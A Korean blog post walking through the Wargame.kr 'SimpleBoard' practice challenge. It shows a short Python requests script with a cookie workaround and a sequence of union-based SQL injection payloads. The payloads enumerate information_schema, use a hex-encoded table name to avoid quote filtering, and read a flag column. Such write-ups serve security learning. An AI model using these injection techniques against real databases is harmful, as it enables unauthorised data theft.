[Wargame.kr] SimpleBoard

무난한 게시판입니다. 문제에서 코드를 볼 수 있게 해주니 코드를 확인해보면

idx를 인자로 받아 쿼리를 처리할 때 mysql_real_escape_string이라는 필터링만 있어 SQL Injection이 쉽게 가능함을 확인할 수 있습니다. 그런데 실제로 1 order by 1 -- 이라는 쿼리를 보내보면 query error라고 뜹니다. 이는 첫 번째 빨간 네모친 부분에서는 아무런 문제가 없지만 2번째, 쿠키 값을 가지고 hit을 증가시키기 위한 부분에서 오류가 발생했기 때문입니다.(UPDATE에 order by를 사용할 수 없습니다.)

이를 해결하기 위해서는 inc_hit이라는 함수에 진입하지 않도록 해야하고, read_chk 함수를 보면 쿠키 상에 해당 쿼리가 존재한다면 inc_hit 함수에 진입하지 않음을 알 수 있습니다.

직접 손으로 쿠키를 조작하면서 풀 수도 있겠지만 그래도 명색이 프로그래머인데 간단하게 스크립트를 짰습니다.

import requests

idx = '1 group by 5 --'

url = 'http://wargame.kr:8080/SimpleBoard/read.php?idx='+idx
print("URL : " + url)

cookies = {'view':'%2F'+idx}
res = requests.get(url, cookies=cookies)
print(res.text)

group by로 이래저래 해보면 column은 4개임을 알 수 있습니다. 그리고 999 union select 10,11,12,13 -- 을 보낸 결과는 아래와 같습니다.

 10, 11, 12, 13이 NUM, TITLE, HIT, body에 적절히 잘 나타나므로 이젠 앞에서 한 것과 비슷하게 schema를 읽어들이고 수상한 테이블을 찾아서 어찌저찌 하면 될 것 같습니다.

 

999 union select 10,11,12,table_name from information_schema.tables -- 을 보내보니 README라는 테이블이 있네요.

따옴표가 필터링이 되므로 table_name='README'라고 보내는 대신 table_name=0x524541444d45로 보내야합니다. 

999 union select 10,11,12,column_name from information_schema.columns where table_name=0x524541444d45 -- 을 보내면 flag라는 column이 있음을 알 수 있습니다.

 

999 union select 10,11,12,flag from README -- 를 보내면 끝입니다.

'워게임 > Wargame.kr' 카테고리의 다른 글

[Wargame.kr] dmbs355  (0) 2019.04.03
[Wargame.kr] QnA  (0) 2019.04.03
[Wargame.kr] ip log table  (0) 2019.04.02
[Wargame.kr] web chatting  (0) 2019.03.29
  Comments